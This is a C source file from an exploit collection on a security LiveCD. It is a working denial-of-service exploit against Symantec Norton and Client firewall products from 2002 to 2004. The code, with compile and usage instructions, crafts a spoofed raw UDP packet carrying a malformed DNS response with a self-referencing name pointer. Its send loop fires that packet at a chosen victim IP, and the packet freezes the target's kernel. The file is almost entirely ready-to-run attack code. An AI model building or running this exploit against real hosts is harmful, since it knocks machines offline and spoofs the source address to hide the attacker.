home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / symantecenterprise / symClientFirewallDoSExpl.c < prev   
C/C++ Source or Header  |  2005-02-12  |  13KB  |  409 lines

  1.  
  2. /* HOD-symantec-firewall-DoS-expl.c:
  3.  *
  4.  * Symantec Multiple Firewall DNS Response Denial-of-Service
  5.  *
  6.  * Exploit version 0.1 coded by
  7.  *
  8.  *
  9.  *                 .::[ houseofdabus ]::.
  10.  *
  11.  *
  12.  *
  13.  * Bug discoveried by eEye:
  14.  * http://www.eeye.com/html/Research/Advisories/AD20040512B.html
  15.  *
  16.  * -------------------------------------------------------------------
  17.  * Tested on:
  18.  *    - Symantec Norton Personal Firewall 2004
  19.  *
  20.  *
  21.  * Systems Affected:
  22.  *    - Symantec Norton Internet Security 2002
  23.  *    - Symantec Norton Internet Security 2003
  24.  *    - Symantec Norton Internet Security 2004
  25.  *    - Symantec Norton Internet Security Professional 2002
  26.  *    - Symantec Norton Internet Security Professional 2003
  27.  *    - Symantec Norton Internet Security Professional 2004
  28.  *    - Symantec Norton Personal Firewall 2002
  29.  *    - Symantec Norton Personal Firewall 2003
  30.  *    - Symantec Norton Personal Firewall 2004 
  31.  *    - Symantec Client Firewall 5.01, 5.1.1 
  32.  *    - Symantec Client Security 1.0, 1.1, 2.0(SCF 7.1)
  33.  *    - Symantec Norton AntiSpam 2004
  34.  *
  35.  * -------------------------------------------------------------------
  36.  * Description:
  37.  *    eEye Digital Security has discovered a second vulnerability
  38.  *    in the Symantec firewall product line that can be remotely
  39.  *    exploited to cause a severe denial-of-service condition on
  40.  *    systems running a default installation of an affected version
  41.  *    of the product. By sending a single malicious DNS (UDP port 53)
  42.  *    response packet to a vulnerable host, an attacker can cause
  43.  *    the Symantec DNS response validation code to enter an infinite
  44.  *    loop within the kernel, amounting to a system freeze that requires
  45.  *    the machine to be physically rebooted in order to restore operation.
  46.  *
  47.  * -------------------------------------------------------------------
  48.  * Compile:
  49.  *    Win32/VC++  : cl -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c ws2_32.lib
  50.  *    Win32/cygwin: gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -lws2_32.lib
  51.  *    Linux       : gcc -o HOD-sym-DoS-expl HOD-sym-DoS-expl.c -Wall
  52.  *
  53.  * -------------------------------------------------------------------
  54.  * Command Line Parameters/Arguments:
  55.  *
  56.  *    HOD-symantec-firewall-DoS-expl [-fi:str] [-tp:int] [-ti:str] [-n:int] 
  57.  *
  58.  *           -fi:IP    From (sender) IP address
  59.  *           -tp:int   To (recipient) port number
  60.  *           -ti:IP    To (recipient) IP address
  61.  *           -n:int    Number of times to send message
  62.  *
  63.  */
  64.  
  65.  
  66. #ifdef _WIN32
  67. #pragma comment(lib,"ws2_32")
  68. #pragma pack(1)
  69. #define WIN32_LEAN_AND_MEAN 
  70. #include <winsock2.h>
  71. #include <ws2tcpip.h> /* IP_HDRINCL */
  72. #include <stdio.h>
  73. #include <stdlib.h>
  74.  
  75. #else
  76. #include <sys/types.h>
  77. #include <netinet/in.h>
  78. #include <sys/socket.h>
  79. #include <stdio.h>
  80. #include <stdlib.h>
  81. #include <arpa/inet.h>
  82. #include <netdb.h>
  83. #include <sys/timeb.h>
  84. #include <string.h>
  85. #endif
  86.  
  87. #define MAX_MESSAGE        4068
  88. #define MAX_PACKET         4096
  89.  
  90. #define DEFAULT_PORT       53
  91. #define DEFAULT_IP         "10.0.0.1"
  92. #define DEFAULT_COUNT      1
  93.  
  94. #ifndef _WIN32
  95. #       define FAR
  96. #endif
  97.  
  98.  
  99. /* Define the DNS header */
  100. char dnsreply[] =
  101. "\xc9\x9c"  /* Transaction ID */
  102. "\x80\x00"  /* Flags (bit 15: response) */
  103. "\x00\x01"  /* Number of questions */
  104. "\x00\x01"  /* Number of answer RRs */
  105. "\x00\x00"  /* Number of authority RRs */
  106. "\x00\x00"  /* Number of additional RRs */
  107. "\xC0\x0C"; /* Compressed name pointer to itself */
  108.  
  109.  
  110. /* Define the IP header */
  111. typedef struct ip_hdr {
  112.     unsigned char  ip_verlen;        /* IP version & length */
  113.     unsigned char  ip_tos;           /* IP type of service */
  114.     unsigned short ip_totallength;   /* Total length */
  115.     unsigned short ip_id;            /* Unique identifier */
  116.     unsigned short ip_offset;        /* Fragment offset field */
  117.     unsigned char  ip_ttl;           /* Time to live */
  118.     unsigned char  ip_protocol;      /* Protocol */
  119.     unsigned short ip_checksum;      /* IP checksum */
  120.     unsigned int   ip_srcaddr;       /* Source address */
  121.     unsigned int   ip_destaddr;      /* Destination address */
  122. } IP_HDR, *PIP_HDR, FAR* LPIP_HDR;
  123.  
  124. /* Define the UDP header */
  125. typedef struct udp_hdr {
  126.     unsigned short src_portno;       /* Source port number */
  127.     unsigned short dst_portno;       /* Destination port number */
  128.     unsigned short udp_length;       /* UDP packet length */
  129.     unsigned short udp_checksum;     /* UDP checksum (optional) */
  130. } UDP_HDR, *PUDP_HDR;
  131.  
  132.  
  133. /* globals */
  134. unsigned long  dwToIP,               // IP to send to
  135.                dwFromIP;             // IP to send from (spoof)
  136. unsigned short iToPort,              // Port to send to
  137.                iFromPort;            // Port to send from (spoof)
  138. unsigned long  dwCount;              // Number of times to send
  139. char           strMessage[MAX_MESSAGE]; // Message to send
  140.  
  141.  
  142.  
  143. void
  144. usage(char *progname) {
  145.     printf("Usage:\n\n");
  146.     printf("%s <-fi:SRC-IP> <-ti:VICTIM-IP> [-tp:DST-PORT] [-n:int]\n\n", progname);
  147.     printf("       -fi:IP    From (sender) IP address\n");
  148.     printf("       -tp:int   To (recipient) open UDP port number:\n");
  149.     printf("                 137, 138, 445, 500(default)\n");
  150.     printf("       -ti:IP    To (recipient) IP address\n");
  151.     printf("       -n:int    Number of times\n");
  152.     exit(1);
  153. }
  154.  
  155. void
  156. ValidateArgs(int argc, char **argv)
  157. {
  158.     int                i;
  159.  
  160.     iToPort = 500;
  161.     iFromPort = DEFAULT_PORT;
  162.     dwToIP = inet_addr(DEFAULT_IP);
  163.     dwFromIP = inet_addr(DEFAULT_IP); 
  164.     dwCount = DEFAULT_COUNT;
  165.     memcpy(strMessage, dnsreply, sizeof(dnsreply)-1);
  166.  
  167.     for(i = 1; i < argc; i++) {
  168.         if ((argv[i][0] == '-') || (argv[i][0] == '/')) {
  169.             switch (tolower(argv[i][1])) {
  170.                 case 'f':
  171.                     switch (tolower(argv[i][2])) {
  172.                         case 'i':
  173.                             if (strlen(argv[i]) > 4)
  174.                                 dwFromIP = inet_addr(&argv[i][4]);
  175.                             break;
  176.                         default:
  177.                             usage(argv[0]);
  178.                             break;
  179.                     }    
  180.                     break;
  181.                 case 't':
  182.                     switch (tolower(argv[i][2])) {
  183.                         case 'p':
  184.                             if (strlen(argv[i]) > 4)
  185.                                 iToPort = atoi(&argv[i][4]);
  186.                             break;
  187.                         case 'i':
  188.                             if (strlen(argv[i]) > 4)
  189.                                 dwToIP = inet_addr(&argv[i][4]);
  190.                             break;
  191.                         default:
  192.                             usage(argv[0]);
  193.                             break;
  194.                     }    
  195.                     break;
  196.                 case 'n':
  197.                     if (strlen(argv[i]) > 3)
  198.                         dwCount = atol(&argv[i][3]);
  199.                     break;
  200.                 default:
  201.                     usage(argv[0]);
  202.                     break;
  203.             }
  204.         }
  205.     }
  206.     return;
  207. }
  208.  
  209.  
  210. /*    This function calculates the 16-bit one's complement sum */
  211. /*    for the supplied buffer */
  212. unsigned short
  213. checksum(unsigned short *buffer, int size)
  214. {
  215.     unsigned long cksum=0;
  216.  
  217.     while (size > 1) {
  218.         cksum += *buffer++;
  219.         size  -= sizeof(unsigned short);   
  220.     }
  221.     if (size) {
  222.         cksum += *(unsigned char *)buffer;   
  223.     }
  224.     cksum = (cksum >> 16) + (cksum & 0xffff);
  225.     cksum += (cksum >>16); 
  226.  
  227.     return (unsigned short)(~cksum); 
  228. }
  229.  
  230.  
  231.  
  232.  
  233. int
  234. main(int argc, char **argv)
  235. {
  236. #ifdef _WIN32
  237.     WSADATA            wsd;
  238. #endif
  239.     int                s;
  240. #ifdef _WIN32
  241.     BOOL                bOpt;
  242. #else
  243.     int                bOpt;
  244. #endif
  245.     struct sockaddr_in remote;
  246.     IP_HDR             ipHdr;
  247.     UDP_HDR            udpHdr;
  248.     int                ret;
  249.     unsigned long      i;
  250.     unsigned short     iTotalSize,
  251.                        iUdpSize,
  252.                        iUdpChecksumSize,
  253.                        iIPVersion,
  254.                        iIPSize,
  255.                        cksum = 0;
  256.     char               buf[MAX_PACKET],
  257.                        *ptr = NULL;
  258. #ifdef _WIN32
  259.     IN_ADDR            addr;
  260. #else
  261.     struct sockaddr_in addr;
  262. #endif
  263.  
  264.     printf("\nSymantec Multiple Firewall DNS Response Denial-of-Service exploit v0.1\n");
  265.     printf("Bug discoveried by eEye:\n");
  266.     printf("http://www.eeye.com/html/Research/Advisories/AD20040512B.html\n\n");
  267.     printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
  268.  
  269.     if (argc < 3) usage(argv[0]);
  270.  
  271.     /* Parse command line arguments and print them out */
  272.     ValidateArgs(argc, argv);
  273. #ifdef _WIN32
  274.     addr.S_un.S_addr = dwFromIP;
  275.     printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr), iFromPort);
  276.     addr.S_un.S_addr = dwToIP;
  277.     printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr), iToPort);
  278.     printf("[*] Count:   %d\n", dwCount);
  279. #else
  280.     addr.sin_addr.s_addr = dwFromIP;
  281.     printf("[*] From IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iFromPort);
  282.     addr.sin_addr.s_addr = dwToIP;
  283.     printf("[*] To   IP: <%s>, port: %d\n", inet_ntoa(addr.sin_addr), iToPort);
  284.     printf("[*] Count:   %d\n", dwCount);
  285. #endif
  286.  
  287. #ifdef _WIN32
  288.     if (WSAStartup(MAKEWORD(2,2), &wsd) != 0) {
  289.         printf("[-] WSAStartup() failed: %d\n", GetLastError());
  290.         return -1;
  291.     }
  292. #endif
  293.     /*  Creating a raw socket */
  294.     s = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
  295. #ifdef _WIN32
  296.     if (s == INVALID_SOCKET) {
  297.         printf("[-] WSASocket() failed: %d\n", WSAGetLastError());
  298.         return -1;
  299.     }
  300. #endif
  301.  
  302.     /* Enable the IP header include option */
  303. #ifdef _WIN32
  304.     bOpt = TRUE;
  305. #else
  306.     bOpt = 1;
  307. #endif
  308.     ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof(bOpt));
  309. #ifdef _WIN32
  310.     if (ret == SOCKET_ERROR) {
  311.         printf("[-] setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
  312.         return -1;
  313.     }
  314. #endif
  315.     /* Initalize the IP header */
  316.     iTotalSize = sizeof(ipHdr) + sizeof(udpHdr) + sizeof(dnsreply)-1;
  317.  
  318.     iIPVersion = 4;
  319.     iIPSize = sizeof(ipHdr) / sizeof(unsigned long);
  320.  
  321.     ipHdr.ip_verlen = (iIPVersion << 4) | iIPSize;
  322.     ipHdr.ip_tos = 0;                         /* IP type of service */
  323.     ipHdr.ip_totallength = htons(iTotalSize); /* Total packet len */
  324.     ipHdr.ip_id = 0;                 /* Unique identifier: set to 0 */
  325.     ipHdr.ip_offset = 0;             /* Fragment offset field */
  326.     ipHdr.ip_ttl = 128;              /* Time to live */
  327.     ipHdr.ip_protocol = 0x11;        /* Protocol(UDP) */
  328.     ipHdr.ip_checksum = 0 ;          /* IP checksum */
  329.     ipHdr.ip_srcaddr = dwFromIP;     /* Source address */
  330.     ipHdr.ip_destaddr = dwToIP;      /* Destination address */
  331.  
  332.     /* Initalize the UDP header */
  333.     iUdpSize = sizeof(udpHdr) + sizeof(dnsreply)-1;
  334.  
  335.     udpHdr.src_portno = htons(iFromPort) ;
  336.     udpHdr.dst_portno = htons(iToPort) ;
  337.     udpHdr.udp_length = htons(iUdpSize) ;
  338.     udpHdr.udp_checksum = 0 ;
  339.  
  340.  
  341.     iUdpChecksumSize = 0;
  342.     ptr = buf;
  343.     memset(buf, 0, MAX_PACKET);
  344.  
  345.     memcpy(ptr, &ipHdr.ip_srcaddr,  sizeof(ipHdr.ip_srcaddr));  
  346.     ptr += sizeof(ipHdr.ip_srcaddr);
  347.     iUdpChecksumSize += sizeof(ipHdr.ip_srcaddr);
  348.  
  349.     memcpy(ptr, &ipHdr.ip_destaddr, sizeof(ipHdr.ip_destaddr)); 
  350.     ptr += sizeof(ipHdr.ip_destaddr);
  351.     iUdpChecksumSize += sizeof(ipHdr.ip_destaddr);
  352.  
  353.     ptr++;
  354.     iUdpChecksumSize += 1;
  355.  
  356.     memcpy(ptr, &ipHdr.ip_protocol, sizeof(ipHdr.ip_protocol)); 
  357.     ptr += sizeof(ipHdr.ip_protocol);
  358.     iUdpChecksumSize += sizeof(ipHdr.ip_protocol);
  359.  
  360.     memcpy(ptr, &udpHdr.udp_length, sizeof(udpHdr.udp_length)); 
  361.     ptr += sizeof(udpHdr.udp_length);
  362.     iUdpChecksumSize += sizeof(udpHdr.udp_length);
  363.     
  364.     memcpy(ptr, &udpHdr, sizeof(udpHdr)); 
  365.     ptr += sizeof(udpHdr);
  366.     iUdpChecksumSize += sizeof(udpHdr);
  367.  
  368.     for(i = 0; i < sizeof(dnsreply)-1; i++, ptr++)
  369.         *ptr = strMessage[i];
  370.     iUdpChecksumSize += sizeof(dnsreply)-1;
  371.  
  372.     cksum = checksum((unsigned short *)buf, iUdpChecksumSize);
  373.     udpHdr.udp_checksum = cksum;
  374.  
  375.  
  376.     memset(buf, 0, MAX_PACKET);
  377.     ptr = buf;
  378.  
  379.     memcpy(ptr, &ipHdr, sizeof(ipHdr));   ptr += sizeof(ipHdr);
  380.     memcpy(ptr, &udpHdr, sizeof(udpHdr)); ptr += sizeof(udpHdr);
  381.     memcpy(ptr, strMessage, sizeof(dnsreply)-1);
  382.  
  383.     remote.sin_family = AF_INET;
  384.     remote.sin_port = htons(iToPort);
  385.     remote.sin_addr.s_addr = dwToIP;
  386.    
  387.     for(i = 0; i < dwCount; i++) {
  388. #ifdef _WIN32
  389.         ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote, 
  390.             sizeof(remote));
  391.  
  392.         if (ret == SOCKET_ERROR) {
  393.             printf("[-] sendto() failed: %d\n", WSAGetLastError());
  394.             break;
  395.         } else
  396. #else
  397.         ret = sendto(s, buf, iTotalSize, 0, (struct sockaddr *) &remote, 
  398.             sizeof(remote));
  399. #endif
  400.             printf("[+] sent %d bytes\n", ret);
  401.     }
  402.  
  403. #ifdef _WIN32
  404.     closesocket(s);
  405.     WSACleanup();
  406. #endif
  407.  
  408.     return 0;
  409. }